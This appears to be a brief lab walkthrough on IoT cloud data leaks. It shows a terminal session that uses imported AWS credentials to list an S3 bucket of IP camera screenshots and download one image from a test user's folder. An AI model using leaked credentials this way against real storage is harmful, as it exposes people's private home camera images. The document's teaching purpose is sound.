Data Leaks in IoT Cloud: Using AWS S3 as an Example

Step 1: Install AWS CLI

Step 2: Import the credentials with "aws configure"

Step 3:

- List the S3 buckets and files in the buckets
- Download the screenshots of IP camera from Alice's living room.

```
Last login: Fri May 31 14:54:46 on ttys000
gayathrichilukala@Gayathris-Laptop ~ % aws s3 ls s3://
2024-05-29 14:56:04 ip-camera-screenshot
gayathrichilukala@Gayathris-Laptop ~ % aws s3 ls s3://ip-camera-screenshot/
                           PRE alice@test.com/
                           PRE bob@test.com/
gayathrichilukala@Gayathris-Laptop ~ % aws s3 ls s3://ip-camera-screenshot/alice@test.com/
2024-05-29 14:56:28          0
2024-05-29 14:57:59      86125 1717008630973.jpg
gayathrichilukala@Gayathris-Laptop ~ % aws s3 cp s3://ip-camera-screenshot/alice@test.com/1717008630973.jpg 1717008630973.jpg

download: s3://ip-camera-screenshot/alice@test.com/1717008630973.jpg to ./1717008630973.jpg
gayathrichilukala@Gayathris-Laptop ~ % 
```